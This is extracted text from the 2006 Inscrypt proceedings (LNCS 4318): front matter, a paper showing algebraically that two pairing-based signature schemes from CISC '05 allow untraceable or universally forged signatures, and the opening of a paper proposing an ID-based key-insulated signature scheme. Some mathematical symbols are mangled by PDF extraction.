
Lecture Notes in Computer Science 4318
Commenced Publication in 1973
Founding and Former Series Editors:
Gerhard Goos, Juris Hartmanis, and Jan van Leeuwen

Editorial Board

David Hutchison
Lancaster University, UK

Takeo Kanade
Carnegie Mellon University, Pittsburgh, PA, USA

Josef Kittler
University of Surrey, Guildford, UK

Jon M. Kleinberg
Cornell University, Ithaca, NY, USA

Friedemann Mattern
ETH Zurich, Switzerland

John C. Mitchell
Stanford University, CA, USA

Moni Naor
Weizmann Institute of Science, Rehovot, Israel

Oscar Nierstrasz
University of Bern, Switzerland

C. Pandu Rangan
Indian Institute of Technology, Madras, India

Bernhard Steffen
University of Dortmund, Germany

Madhu Sudan
Massachusetts Institute of Technology, MA, USA

Demetri Terzopoulos
University of California, Los Angeles, CA, USA

Doug Tygar
University of California, Berkeley, CA, USA

Moshe Y. Vardi
Rice University, Houston, TX, USA

Gerhard Weikum
Max-Planck Institute of Computer Science, Saarbruecken, Germany



Helger Lipmaa Moti Yung
Dongdai Lin (Eds.)

Information Security
and Cryptology

Second SKLOIS Conference, Inscrypt 2006
Beijing, China, November 29 - December 1, 2006
Proceedings

13



Volume Editors

Helger Lipmaa
Adastral Postgraduate Campus
University College
London, UK
E-mail: h.lipmaa@cs.ucl.ac.uk

Moti Yung
Computer Science Department
Columbia University
New York, USA
E-mail: moti@cs.columbia.edu

Dongdai Lin
SKLOIS, Institute of Software
Chinese Academy of Sciences
Beijing 100080, China
E-mail: ddlin@is.iscas.ac.cn

Library of Congress Control Number: 2006936729

CR Subject Classification (1998): E.3, D.4.6, F.2.1, C.2, J.1, C.3, K.4.4, K.6.5

LNCS Sublibrary: SL 4 – Security and Cryptology

ISSN 0302-9743
ISBN-10 3-540-49608-4 Springer Berlin Heidelberg New York
ISBN-13 978-3-540-49608-3 Springer Berlin Heidelberg New York

This work is subject to copyright. All rights are reserved, whether the whole or part of the material is
concerned, specifically the rights of translation, reprinting, re-use of illustrations, recitation, broadcasting,
reproduction on microfilms or in any other way, and storage in data banks. Duplication of this publication
or parts thereof is permitted only under the provisions of the German Copyright Law of September 9, 1965,
in its current version, and permission for use must always be obtained from Springer. Violations are liable
to prosecution under the German Copyright Law.

Springer is a part of Springer Science+Business Media

springer.com

© Springer-Verlag Berlin Heidelberg 2006
Printed in Germany

Typesetting: Camera-ready by author, data conversion by Scientific Publishing Services, Chennai, India
Printed on acid-free paper SPIN: 11937807 06/3142 5 4 3 2 1 0



Preface

The second SKLOIS Conference on Information Security and Cryptology 2006
(Inscrypt, formerly CISC) was organized by the State Key Laboratory of Infor-
mation Security of the Chinese Academy of Sciences. This international confer-
ence was held in Beijing, China and was sponsored by the Institute of Software,
the Chinese Academy of Sciences, the Graduate University of Chinese Academy
of Sciences and the National Natural Science Foundations of China. The con-
ference proceedings, with contributed papers, are published by Springer in this
volume of Lecture Notes in Computer Science (LNCS).

The research areas covered by Inscrypt have been gaining increased visibility
recently since modern computing and communication infrastructures and appli-
cations require increased security, trust and safety. Indeed important fundamen-
tal, experimental and applied work has been done in wide areas of cryptography
and information security research in recent years. Accordingly, the program of
Inscrypt 2006 covered numerous fields of research within these areas.

The International Program Committee of the conference received a total of
225 submissions, from which only 23 submissions were selected for presentation
at the regular papers track and are part of this volume. In addition to this
track, the conference also hosted a short paper track of 13 presentations that
were carefully selected as well. All anonymous submissions were reviewed by
experts in the relevant areas and based on their ranking, technical remarks and
strict selection criteria the papers were selected to the various tracks.

Many people and organizations helped in making the conference a reality. We
would like to take this opportunity to thank the Program Committee members
and the external experts for their invaluable help in producing the conference
program. We would like to further thank the conference Organizing Committee.
Special thanks are due to Dongdai Lin for his excellent help in organizing the
conference and the proceedings. We wish to thank the various sponsors and, last
but not least, we also express our thanks to all the authors who submitted papers
to the conference, the invited speakers, the session chairs and all the conference
attendees.

November 2006 Helger Lipmaa and Moti Yung
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Cryptanalysis of Two Signature Schemes Based
on Bilinear Pairings in CISC ’05
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Abstract. The bilinearity of pairings allows efficient signature verifica-
tion for signature schemes based on discrete logarithm type problem and
often provides useful additional functionalities to signature schemes. In
recent years, bilinear pairings have been widely used to create signature
schemes. But the bilinearity can also be an attack point in uncarefully
designed protocols. We cryptanalyze two signature schemes presented at
CISC ’05, Cheng et al.’s group signature scheme and Gu et al.’s ID-based
verifiably encrypted signature scheme, both based on bilinear pairings.
We show that their improper uses of a bilinear pairing lead to untraceable
group signatures for Cheng et al.’s group signature scheme and univer-
sally forgeable signatures for Gu et al.’s ID-based verifiably encrypted
signature scheme.

Keywords: bilinear pairing, group signature, ID-based cryptography,
verifiably encrypted signature.

1 Introduction

Recently, bilinear pairings have been widely used to create many signature
schemes with additional functionality or better efficiency. For example, there
have been papers on short signatures, group signatures, verifiably encrypted sig-
natures, and many more. The linearity of bilinear pairings is very effective in
terms of both “efficiency” and “functionality”. But one should be careful so that
the linearity should not be manipulated in a malicious way by an attacker.

In this paper, we shall show that two signature schemes proposed at CISC ’05
based on bilinear pairings can be attacked by using the taking advantage of the
bilinearity property.
� This work was supported by MIC.

�� This work was supported by the KRF Grant (KRF-2004- R03-10023) funded by the
Korean Government(MOEHRD).
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Group signature. Basic security requirements of group signature schemes can
be understood as correctness, unforgeability, anonymity, unlinkability, traceabil-
ity, exculpability, and coalition-resistance. Bellare et al. formalized this large set
of security requirements in terms of correctness, Full-Anonymity Full-traceability
[5]. The traceability is one of the core security requirements of group signature.
For group signature schemes, a signer (group member) might act as an adversary
against the traceability property. Short group signature schemes using bilinear
pairing have been developed by Boneh et al.[6]. For a secure group signature
schemes based on bilinear pairings, it should be designed so the signer cannot
treat the linearity in the group signature verification formula to generate an
untraceable group signature.

In [11], Cheng et al. proposed group signature schemes using bilinear pairing
by introducing SEM (SEcurity Mediator), an on-line third party. Their group sig-
nature schemes can be considered as a modification of regular signature scheme
based on bilinear pairing [9]. They claimed that their schemes have traceability
because no valid group signature can be generated without help from SEM. In
this paper, we point out that the group signature schemes constructed by Cheng
et al. allow to generate a untraceable group signature due to their improper use
of bilinear pairing in the verification formula.

Verifiably encrypted signature. It’s well known that Shamir [15] first pro-
posed the idea of ID-based public key cryptography to simplify the key man-
agement procedure of traditional certificate-based PKI. Using bilinear maps de-
fined on some elliptic curves, researchers have proposed many ID-based signature
schemes [16,21,22] ever since the paper of Boneh and Franklin [7] was published.

Generally, Signer wants to show Verifier that he has signed a message, but
dose not want Verifier to possess the signature. A verifiably encrypted signature
is a special extension of common signature that gives such functionality. A ver-
ifiably encrypted signature enables the Signer to give Verifier a signature that
is encrypted using Adjudicator’s public key. The Verifier can check the validity
of the signature, but the verifier cannot obtain any information on the signer’s
signature since the signature has been encrypted by Adjudicator’s public key.
The Adjudicator is a trusted third party, who can reveal the signature if needed.
At a later stage when it is needed, the verifier can either obtain the signature
from the signer or resort to the adjudicator who can reveal the signer’s signature.
The property, namely, Verifier cannot know the original signature corresponding
to a verifiably encrypted signature, is very useful in some cases, such as online
contract signing.

The basic security requirements of verifiably encrypted signature schemes
are unforgeability and opacity [21]. The ‘unforgeability’ of verifiably encrypted
signature scheme requires that it is difficult to forge a valid verifiably encrypted
signature. In the signature verification of verifiably encrypted signature schemes,
one needs both public keys of the Signer and the Adjudicator. Hence in pairing-
based verifiably encrypted signature schemes, manipulating the linearity of the
bilinear pairing in the verification formula using these two public keys should
be prevented.
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At CISC ’05, an ID-based verifiably encrypted signature scheme has been
proposed [12]. The authors claimed that its security was based on Hess’s ID-
based signature scheme [13], but we show that the scheme is universally forgeable
in this paper. Our attack does not depend on any assumption. It is simple and
direct. We only show how the linearity of the bilinear pairing can be treated
using two public keys in order to get a valid verifiably encrypted signature.

Outline of this paper. Our paper is organized as follows. Section 2 describes
some preliminaries. We discuss Cheng et al.’s group signature schemes [11] and
explain our attacks on their schemes in Section 3. We also discuss Gu-Zhu’s
verifiable encrypted signature [12] and explain our attack on their scheme in
Section 4. Finally we give our conclusion in Section 5.

2 Preliminaries

2.1 Bilinear Pairings and Intractable Problems

Let (G1, +) and (G2, ·) be two cyclic groups of prime order q and P be a cyclic
generator of G1. A map e : G1 ×G1 → G2 is called an admissible bilinear pairing
if it satisfies the following properties:

1. Bilinear: ∀A, B ∈ G1, ∀α, β ∈ Zq, e(αA, βB) = e(A, B)αβ ;
2. Non-degenerate: e(P, P ) is a generator of G2;
3. Computable: there is an efficient algorithm to compute e(A, B) for any

A, B ∈ G1.

The bilinear pairing implementation of the above cases can be done using
supersingular elliptic curves.

Let a, b, c ∈ Zq. We consider the following problems on G1.

1. The computational Diffie-Hellman problem (CDHP): Given P, aP, bP ∈ G1,
compute abP .

2. The decisional Diffie-Hellman problem (DDHP): Given P, aP, bP, cP ∈ G1,
decide if abP = cP .

When we discuss problems concerning an admissible bilinear pairing e : G1 ×
G1 → G2, we usually assume that the CDHP in G1, G2 is intractable. We note
that the existence of an admissible bilinear pairing makes the decisional Diffie-
Hellman problem (DDHP) in G1 easy. Thus, G1 is a Gap Diffie-Hallman (GDH)
Group, i.e., the CDHP is intractable while DDHP is easy.

2.2 Signature Verification Using Bilinear Pairings

Using bilinear pairings, it is possible to construct short signature schemes based
on Diffie-Hellman-related problems. This is because, the bilinearity of pairings
allows easy verification of the validity of a signature without solving DL type
problem. A typical example of signatures scheme based on pairing is BLS short
signature scheme proposed in [9] which we summarize informally below.



4 H. Park et al.

– Parameter: (G, ·) and (G3, ·) are cyclic groups of order prime q and g is a
generator of G.

– Signature generation: On input the message m and a private key x, the
signature is σ = H(m)x.

– Signature verification: For a given public key v = gx, a message m, and a
signature σ, the signature σ is valid if (g, v, H(m), σ) is a valid DH-tuple.

If there is an efficiently computable bilinear pairing ê : G × G → G3, one can
easily check the validity of σ by checking ê(g, σ) = ê(v, H(m)).

3 Cheng-Zhu-Qiu-Wang’s Group Signatures and Their
Weakness

3.1 Group Signatures

Following the first work by Chaum and van Heyst in the year of 1991 [10],
many group signature schemes were proposed and analyzed [4,3,6,17]. Additional
functionality, such as providing anonymity of signers, is an important advantage
of a group signature scheme over an ordinary signature schemes.

Group signatures are signatures that provide anonymity to the signer. Any
group member can sign a message using his own private key. A verifier can tell
that a group member has signed without knowing the identity of the signature’s
originator. But, in exceptional cases such as a legal dispute, the group manager
(GM) can open any group signature. Anonymity of signer, namely, impossibility
of identifying the original signer for a given group signature, is very useful in the
cases when signer’s privacy is required. The definition of group signature is as
follows:

Definition 1. (Group Signature [5]) A group signature scheme consists of
three entities: signer, verifier and group manager. There are five algorithms,
Setup, Join, Sign, Verify, and Open.

Setup: This is generating the system parameters, a group public-private key
pair (GPK; GSK).

Join: This is generating the group member private key SK
Sign: Given a group member private key SK, a message m, and the system

parameters, compute a group signature σ on m.
Verify: Given a group signature σ, a message m, the group public key, and the

system parameters, verify that σ is a valid group signature on m.
Open: Given a group private key GSK, a message m and a group signature σ

on m, output the original signer (group member) of σ.

A large set of security requirements for group signatures have been introduced
(e.g., unlinkability, unforgeability, collusion resistance, exculpability, and framing
resistance) and later have been formalized in terms of ‘full anonymity’ and ‘full
traceability’ [5].
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Full anonymity. The anonymity requires that an adversary not in possession
of the group manager’s private key find it hard to recover the identity of the
signer from its signature. Here the adversary is allowed to have the private
keys of all group members in his attack to distinguish the corresponding
identity of the signer.

Full Traceability. In case of misuse, signer anonymity can be revoked by the
group manager. The full traceability requires that no colluding set of group
members can create signatures that cannot be opened, or signatures that
cannot be traced back to some member of the coalition.

Due to the controlled anonymity features (guaranteed anonymity in usual
situation plus traceability in cases of disputes), group signature schemes are
very useful cryptographic techniques for user privacy protection. Many efficient
group signature schemes based on bilinear pairing were proposed recently. As
in the regular signature schemes, the bilinearity of a bilinear pairing allows an
efficient signature verification. However, the bilinearity can also be an attack
point with respect to the traceability for group signature schemes. The group
signatures proposed by Cheng et al. [11] are examples that allow to generate
untraceable signatures since they didn’t use the bilinear pairing properly. We
shall discuss Cheng et al.’s schemes and their security flaw in the rest of this
section.

3.2 Cheng-Zhu-Qiu-Wang’s Group Signatures

In this section, we describe two Cheng-Zhu-Qiu-Wang’s group signatures [11].
In their schemes, they introduced a trusted on-line third party, called a SEcu-
rity Mediator (SEM) in addition to GM and a set of users (group members).
A group member must get partial information from SEM to generate a valid
group signature. Let (G1, +) and (G2, ·) be two cyclic groups of order q, P be a
generator of G1, and e : G1 × G1 → G2 be an admissible bilinear pairing. Note
that H : {0, 1}∗ → G1 is a hash function.

The mini group signature. The mini group signature is proposed as a group
signature without exculpability property on GM [11].

Setup: Given a security parameter κ, GM generates the system parameters
Params= {G1, G2, e, q, P, H}. GM chooses randomly x ∈ Z∗

q and computes
Ppub = xP ∈ G1. The public-private key pair of the group is (Ppub, x).

Join: GM chooses randomly xu
i ∈ Z∗

q and computes xs
i = (x − xu

i ) mod q. GM
sends xu

i to Ui and sends (xs
i , Ui) to SEM. Thus Ui becomes a group member

and his private key is xu
i with the following properties.

– xu
i �= xu

j when i �= j.
– xu

i1 + xu
i2 + · · · + xu

ij
�= x mod q for any positive integers i and j.

– xu
i1

+ xu
i2

+ · · · + xu
ij

�= xu
il

mod q for any positive integers i, j and l.
Sign: To generate a group signature on some message m, Ui sends H(m) along

with his identity to SEM. SEM checks that the group membership of Ui
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has not been revoked. SEM then computes σs
i = xs

i H(m), stores (Ui, H(m))
and sends σs

i to Ui. Ui computes σu
i = xu

i H(m) and σi = σs
i + σu

i . Ui

checks whether e(P, σi) = e(Ppub, H(m)) holds. If so, the group signature on
message m is set to be σ = σi.

Verify: The verifier accepts the signature σ if (P, Ppub, H(m), σ) is a valid DH-
tuple, i.e., if e(P, σ) = e(Ppub, H(m)) holds.

Open: In case GM wants to open a signature σ on some message m, he needs
only send an enquiry to SEM. SEM consults the storage list and sends the
original signer Ui to GM.

The improved group signature. This is an improved version of the mini
group signature so that the improved one has exculpability property[11].

Setup: Given a security parameter κ, GM generates the system parameters
Params= {G1, G2, e, q, P, H}. GM chooses randomly x ∈ Z∗

q and computes
Ppub = xP ∈ G1. SEM chooses randomly y ∈ Z∗

q and computes P ′
pub = yP ∈

G1. The group public key is (Ppub, P
′
pub), while x and y are kept secret by

GM and SEM, respectively.
Join: GM chooses randomly xu

i ∈ Z∗
q and computes xs

i = (x − xu
i ) mod q. GM

sends xu
i to Ui and sends (xs

i , Ui) to SEM. SEM chooses randomly yu
i ∈ Z∗

q

and computes ys
i = (y −yu

i ) mod q. SEM sends yu
i to Ui and keeps ys

i secret.
Thus Ui becomes a group member and his private key is (xu

i , yu
i ) with the

following properties.
– xu

i �= xu
j , yu

i �= yu
j when i �= j.

– xu
i1 + xu

i2 + · · · + xu
ij

�= x mod q and yu
i1 + yu

i2 + · · · + yu
ij

�= y mod q for
any positive integers i and j.

– xu
i1

+ xu
i2

+ · · · + xu
ij

�= xu
il

mod q and yu
i1

+ yu
i2

+ · · · + yu
ij

�= yu
il

mod q for
any positive integers i, j and l.

Sign: To generate a group signature on some message m, Ui sends H(m) along
with his identity to SEM. SEM checks that the group membership of Ui

has not been revoked. SEM then computes υs
i = ys

i H(m) and σs
i = xs

iH(m).
SEM stores (Ui, H(m)) and sends (υs

i , σ
s
i ) to Ui. Ui computes υu

i = yu
i H(m),

σu
i = xu

i H(m), and σi = υs
i + υu

i + σs
i + σu

i . Ui checks whether e(P, σi) =
e(Ppub + P ′

pub, H(m)) holds. If so, the group signature on message m is set
to be σ = σi.

Verify: The verifier accepts the signature σ if (P, Ppub + P ′
pub, H(m), σ) is a

valid DH-tuple, i.e. e(P, σ) = e(Ppub + P ′
pub, H(m)) holds.

Open: In case GM wants to open a signature σ on some message m, he needs
only send an enquiry to SEM. SEM consults the storage list and sends the
original signer Ui to GM.

3.3 Cryptanalysis of Cheng-Zhu-Qiu-Wang’s Group Signatures

Each of the group signature schemes proposed by Cheng et al. has a deterministic
signature generation algorithm that is not desirable for secure group signature
schemes. But we focus on how an improper use of bilinear pairing in a group
signature scheme may result in untraceability.
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Untraceability of the mini group signature. In this subsection, we show
that the mini group signature has no traceability property.

Suppose that a group member Ui generated a signature on a message m and
kept the information concerning this signature, that is, σs

i = xs
i H(m), σ = σi =

xu
i H(m) + xs

i H(m) = xH(m). Then Ui can generate a group signature on any
message m he desires without the help of SEM as follow:

– Ui send H(m) + H(m) along with his identity to SEM.
– SEM first checks that the group membership of Ui has not been revoked.

It then computes σs
i = xs

i (H(m) + H(m)) = xs
i H(m) + xs

i H(m), stores
(Ui, H(m) + H(m)) and sends σs

i back to Ui.
– Ui computes σu

i = xu
i H(m), σs

i = σs
i − σs

i = xs
i H(m), and σi = σs

i + σu
i =

xs
i H(m) + xu

i H(m) = xH(m).

Now, Ui has the valid group signature σ = σi on message m since e(P, σi) =
e(Ppub, H(m)) holds. Note that Ui succeeded in signing the message m without
revealing any direct information about the message itself to SEM. Since there is
no (Ui, H(m)) on its DB, SEM cannot trace the originator of the group signature
(m, σ). Thus the mini group signature has no traceability property.

Untraceability of the improved group signature. In this subsection, we
show that the improved group signature has no traceability property, either.

Suppose that a group member Ui generated a signature on a message m
and kept the information concerning this signature, that is, υs

i = ys
i H(m), σs

i =
xs

i H(m), σ = σi = υs
i +υu

i +σs
i +σu

i = ys
i H(m)+yu

i H(m)+xs
i H(m)+xu

i H(m) =
(y + x)H(m). Then Ui can generate a group signature on any message m he
desires without the help of SEM as follow:

– Ui send H(m) + H(m) along with his identity to SEM.
– SEM first checks that the group membership of Ui has not been revoked.

It then computes υs
i = ys

i (H(m) + H(m)) = ys
i H(m) + ys

i H(m) and σs
i =

xs
i (H(m) + H(m)) = xs

i H(m) + xs
i H(m), stores (Ui, H(m) + H(m)) and

sends υs
i and σs

i back to Ui.
– Ui computes υu

i = yu
i H(m), σu

i = xu
i H(m), υs

i = υs
i − υs

i = ys
i H(m),

σs
i = σs

i −σs
i = xs

i H(m), and σi = υs
i +υu

i +σs
i +σu

i = ys
i H(m)+ yu

i H(m)+
xs

i H(m) + xu
i H(m) = yH(m) + xH(m) = (y + x)H(m).

Now, Ui has the valid group signature σ = σi on message m since e(P, σi) =
e(Ppub + P ′

pub, H(m)) holds. Note that Ui succeeded in signing the message m
without revealing any direct information about the message itself to SEM. Since
there is no (Ui, H(m)) on its DB, SEM cannot trace the originator of the group
signature (m, σ). Thus the improved group has no traceability property.

The main reasons of the untraceability of Cheng et al.’s group signature are
that the linearity related with H(m) signature verification formula e(P, σ) =
e(Ppub + P ′

pub, H(m)) can be manipulated by the signer.



8 H. Park et al.

4 Gu-Zhu’s Verifiably Encrypted Signature and Its
Weakness

4.1 Verifiably Encrypted Signatures

Verifiably encrypted signatures are special extensions of the regular digital sig-
natures. They enable Signer to give Verifier a signature encrypted using Adju-
dicator’s public key. The Verifier can check the validity of the signature. The
Adjudicator is a trusted third party, who can reveal the signature if needed.
GenerallyIn some applications such as online contract signing protocols, Signer
wants to show Verifier that he has signed a message, but does not want Verifier
to possess the signature. In view of this, Signer can send Verifier a verifiably
encrypted signature of a message to prevent Verifier from knowing the original
signature of the message. Verifiably encrypted signatures are formally defined as
follows.

Definition 2. (Verifiably Encrypted Signature [8]) A verifiably encrypted sig-
nature scheme consists of three entities: signer, verifier and adjudicator. There
are seven algorithms. Three, KeyGen, Sign, and Verify, are analogous to those
in ordinary signature schemes. The others, AKeyGen, VE-Sign, VE-Verify,
and Adjudicate, provide the verifiably encrypted signature capability.

KeyGen, Sign, Verify: These are key generation, signing and verification of
the signer, they are same as in standard signature schemes.

AKeyGen: This is generating a public-private key pair (APK; ASK) for the
adjudicator.

VE-Sign: Given a private key SK, a message m, and an adjudicator public key
APK, compute a verifiably encrypted signature τ on m.

VE-Verify: Given a public key PK, a message m, an adjudicator public key
APK, and a verifiably encrypted signature τ , verify that τ is a valid verifiably
encrypted signature on m under key PK.

Adjudicate: Given an adjudicator key-pair (APK; ASK), a public key PK,
and a verifiably encrypted signature τ on some message m, extract and output
σ, an ordinary signature on m under PK.

Verifiably encrypted signatures should satisfy the following three security prop-
erties [21]:

Correctness. VE-Verify and Verify should respectively accept any properly-
generated verifiably encrypted signature and regular signature.

Unforgeability. It is difficult to forge a valid verifiably encrypted signature.
Opacity. It is difficult, given a verifiably encrypted signature, to extract an

ordinary signature on the same message.

4.2 Gu-Zhu’s Verifiably Encrypted Signature

In this section, we describe Gu-Zhu’s verifiably encrypted signature [12]. Let
(G1, +) and (G2, ·) be two cyclic groups of order q, P be a generator of G1,
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and e : G1 × G1 → G2 be an admissible bilinear pairing. Gu-Zhu’s verifiably
encrypted signature scheme consists of seven algorithms:

- Setup: Given (G1, G2, q, e, P ), pick a random s ∈ Z∗
q and set Ppub = sP .

Choose three hash functions H1 : {0, 1}∗ → G1, H2 : {0, 1}∗ × G2 → Zq and
H3 : G2 → Zq. The system parameters are (G1, G2, q, e, P, Ppub, H1, H2, H3).
The master key (PKG’s private key) is s.

- Extract: Given an identity IDX ∈ {0, 1}∗, compute QX = H1(IDX) ∈
G∗

1, DX = sQX . PKG uses this algorithm to extract the user’s private key
DX , and gives DX to the user through a secure channel.

- Sign: Given a private key DX and a message m, pick k ∈ Z∗
q at random,

and output a signature (r, U), where r = e(P, P )k, h = H2(m, r), and U =
hDX + kP .

- Verify: Given a signature (r, U) of an identity IDX for a message m, com-
pute h = H2(m, r), and accept the signature if and only if

r = e(U, P ) · e(H1(IDX), Ppub)−h

- VE-Sign: Given a private key DX , a message m ∈ {0, 1}∗ and an adjudica-
tor’s identity IDA,
1. choose k1, k2 ∈ Z∗

q at random,
2. compute r = e(P, P )k1 , h = H2(m, r), h′ = H3(e(QA, Ppub)k2),
3. compute U1 = h′P, U2 = k2P, V = hDX + (k1 + h′k2)P + h′QA,
4. output the verifiably encrypted signature (r, V, U1, U2).

- VE-Verify: Given a verifiably encrypted signature (r, V, U1, U2) of a mes-
sage m, compute h = H2(m, r), and accept the signature if and only if

e(P, V ) = r · e(hPpub, QX) · e(U1, QA + U2)

- Adjudication: Given the adjudicator’s private key DA, and a valid verifi-
ably encrypted signature (r, V, U1, U2) of IDX for message m, compute

U = V − H3(e(DA, U2))(QA + U2)

and output the ordinary signature (r, U).

4.3 Universal Forgeability of Gu-Zhu’s Verifiable Encrypted
Signature

The authors [12] claimed that their ID-based verifiably encrypted signature
scheme is secure in the random oracle model. But we find that it is univer-
sally forgeable. Now, we first explain our idea, then give a simple and direct
attack against it.

Basic idea. For given public keys QX , QA and system parameters P, Ppub, we
try to solve for (r, V, U1, U2) that satisfies the verification formula.
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By the verification formula of the signature (r, V, U1, U2)

e(P, V ) = r · e(hPpub, QX) · e(U1, QA + U2),

we know that r must be of the form r = e(P, W ), where W ∈ G1 is undetermined.
Hence,

e(P, V − W ) = e(hPpub, QX) · e(U1, QA + U2)

Clearly, we should set U2 = B − QA, where B ∈ G1 is also undetermined. Thus

e(P, V − W ) = e(hPpub, QX) · e(U1, B)

In order to incorporate e(hPpub, QX) with e(U1, B), we should set

U1 = aQX , or B = aQX , where a ∈ Z∗
q .

An algorithm for forgery. Now we describe our forgery algorithm of the
Gu-Zhu’s verifiably encrypted signature scheme. For given public keys QX , QA

and system parameters P, Ppub, and a message m to be signed, the adversary
executes the following.

1. Randomly choose a, b ∈ Z∗
q and W ∈ G1 and set B = aQX ;

2. Compute r = e(P, W ); h = H2(M, r);
3. Set V = bQX + W and

U1 = a−1(bP − hPpub), U2 = B − QA = aQX − QA.

The adversary returns (r, V, U1, U2) which is a forgery for the message m.

Correctness:

r · e(hPpub, QX) · e(U1, QA + U2)
= e(P, W ) · e(hPpub, QX) · e(a−1(bP − hPpub), QA + aQX − QA)
= e(P, W ) · e(hPpub, QX) · e((bP − hPpub), QX)
= e(P, W ) · e(bP, QX)
= e(P, W ) · e(P, bQX)
= e(P, W ) · e(P, V − W )
= e(P, V ).

5 Conclusion

In this paper, we have pointed out that a bilinear pairing must be used with
care when it is used in signature schemes. The linearity of the bilinear pairing
allows efficient signature verification with additional functionality, but it may
also open an attack point against signatures.
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The traceability, one of the core requirements of group signature schemes, is
a requirement against signers. Hence secure group signature schemes based on
bilinear mappings should be designed so that the bilinearity cannot be manip-
ulated in a malicious manner by legal group members as well as outside active
adversaries. Group signature schemes based on bilinear pairing were proposed
by Cheng-Zhu-Qiu-Wang [11]. They claimed that their schemes satisfy the basic
security requirements of group signatures that includes ’traceability’. We show
that Cheng-Zhu-Qiu-Wang’s group signatures [11] have no traceability property.

Verifiably encrypted signatures are used when Alice wants to sign a message
for Bob but does not want Bob to possess her signature on the message until a
later date. The bilinear pairing in the verification formula of verifiably encrypted
signature can be useful with respect to the efficiency and functionality, but one
must prevent the possibility of generating a valid signature without using the pri-
vate key by taking advantage of the bilinearity of pairings. An efficient verifiably
encrypted signature scheme was proposed by Gu-Zhu [12]. They claimed that
the security, ‘unforgeability and opacity’, of their scheme was based on Hess’s
ID-based signature scheme. But we show that Gu-Zhu’s verifiably encrypted
signature [12] is universally forgeable by using the linearity in the verification
formula.
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Abstract. Standard identity-based (ID-based) signature schemes typi-
cally rely on the assumption that secret keys are kept perfectly secure.
However, with more and more cryptographic primitives are deployed
on insecure devices (e.g. mobile devices), key-exposure seems inevitable.
This problem is perhaps the most devastating attack on a cryptosys-
tem since it typically means that security is entirely lost. To minimize
the damage caused by key-exposure in ID-based signatures scenarios,
Zhou et al. [32] applied Dodis et al.’s key-insulation mechanism [12] and
proposed an ID-based key-insulated signature (IBKIS) scheme. However,
their scheme is not strong key-insulated, i.e, if an adversary compromises
the helper key, he can derive all the temporary secret keys and sign mes-
sages on behalf the legitimate user. In this paper, we re-formalize the
definition and security notions for IBKIS schemes, and then propose a
new IBKIS scheme with secure key-updates. The proposed scheme is
strong key-insulated and perfectly key-insulated. Our scheme also en-
joys desirable properties such as unbounded number of time periods and
random-access key-updates.

Keywords: Key-Insulated, Identity-Based Signature, Key-Exposure,
Bilinear Pairings.

1 Introduction

1.1 Background and Previous Work

Identity based cryptosystem was introduced by Shamir in 1984 [27]. Its main
idea is that public keys is determined as users’ identities while private keys can
be generated by the trusted Private Key Generator(PKG) according to their
identities. In such systems, there is no need to bind a public key to its owner’s
identity. So trust problems encountered in the certificate based public key in-
frastructures do not exist. So far, a large number of papers have been published
in this area (see [2] for some of these), including many identity based signature
(IBS) schemes, e.g. [16, 24, 7, 30, 14, 33, 28, 20]. These IBS schemes rely on the
assumption that secret keys are kept perfectly secure. In practice, however, it

H. Lipmaa, M. Yung, and D. Lin (Eds.): Inscrypt 2006, LNCS 4318, pp. 13–26, 2006.
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is easier for an adversary to obtain the secret key from a naive user than to
break the computational assumption on which the system is based. With more
and more cryptographic primitives are deployed on insecure devices (e.g. mobile
devices), the problem of key-exposure becomes an ever-greater threat. This prob-
lem is perhaps the most devastating attack on a cryptosystem, since it typically
means that security is entirely lost.

In conventional public key infrastructures, certificate revocation list (CRL)
can be used to revoke public keys in case of key-exposure, and users can become
aware of other users’ revoked keys by referring to the CRL. However, straight-
forward implementation of CRL will not be the best solution to IBS schemes.
Remember that utilizing the CRL, public key has to be revoked, while the public
key for IBS scheme represents an identity and is not desired to be changed. One
exemplification is the application of ID-based cryptography in a mobile phone
scenario, where the phone number represents a user’s identity, and it will be
simple and convenient for mobile phone users to identify and communicate with
each other only by their phone numbers.

To deal with the key-exposure problem, a natural try is the distribution of
the secret key across multiple servers to make key-exposure more difficult. There
are numerous instantiations of this idea including secret sharing [26], thresh-
old cryptosystems [10, 25] and proactive cryptosystems [23]. However, such so-
lutions tend to be costly, since they require many devices participate in the
cryptographic operation. While this may be acceptable in some scenarios, it
does not seem appropriate for mobile users and in other settings where the
risk of key-exposure is high but users need the ability to perform cryptographic
computations on their own.

More practical try is to use the method of key-evolving protocols. This mech-
anism includes forward security [1,4], intrusion-resilience [21] and key-insulation
[12]. The latter was introduced by Dodis, Katz, Xu and Yung [12] in Euro-
crypt’02. In this model, a physically-secure but computationally-limited device,
named the base or helper, is involved. The full-fledged secret key is now divided
into two parts: a helper key and temporary secret keys. The former is stored in
the helper, and the latter is kept by the user to sign messages. The lifetime of
the system is divided into discrete periods. The public key remains unchanged
throughout the lifetime, while temporary secret keys are updated periodically:
at the beginning of each time period, the user obtains from the helper a partial
secret key for the current time period; combining this partial secret key with the
temporary secret key for the previous period, the user can derive the temporary
secret key for the current time period. A temporary secret key is used to sign
a message during the corresponding time period without further access to the
physically secure device. Exposure of the temporary secret key at a given period
will not enable an adversary to derive temporary secret keys for the remaining
time periods. Therefore this mechanism can minimize the damage caused by
key-exposure. More precisely, in a (t, N)-key-insulated scheme the compromise
of temporary secret keys for up to t time periods does not expose temporary
secret keys for any of the remaining N − t time periods. Therefore, public keys
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do not need to be revoked unless t periods have been exposed, which is a desir-
able property to deal with the key-exposure problem in ID-based scenarios. If
t = N − 1 then the scheme is called perfectly key-insulated. Additionally, strong
key-insulated security guarantees that the helper (or an attacker compromising
the helper key) is unable to derive the temporary secret key for any time period.
This is an extremely important property if the helper serves several different
users or the helper is not trusted.

Following the pioneering work due to Dodis et al. [12], several key-insulated
encryption schemes including the ID-based key-insulated encrytpion ones have
been proposed [5, 18, 13, 8, 19, 17]. Since Dodis et al.’s first KIS schemes [11],
efforts have also been devoted to the KIS systems, e.g. [22, 15, 29, 6, 31].

To minimize the damage caused by key-exposure in IBS scenarios, Zhou et
al. [32] proposed an IBKIS scheme in ISPEC’2006. However, the full-fledged
secret key of their scheme is just wholly stored in the helper. Consequently, their
scheme is not strong key-insulated, i.e., if an adversary compromises the helper,
then he can derive temporary secret keys for any time period and sign messages
on behalf of the legitimate user.

1.2 Our Contributions

In this paper, we first re-formalize the definition and security notions for ID-
based key-insulated signature (IBKIS) schemes. Our security notions are more
rigorous than those in [32], since ours provide the attacker with stronger power.
We then propose a concrete IBKIS scheme with secure key-updates. The pro-
posed scheme is strong key-insulated and perfectly key-insulated. Our scheme
also enjoys desirable properties such as unbounded number of time periods and
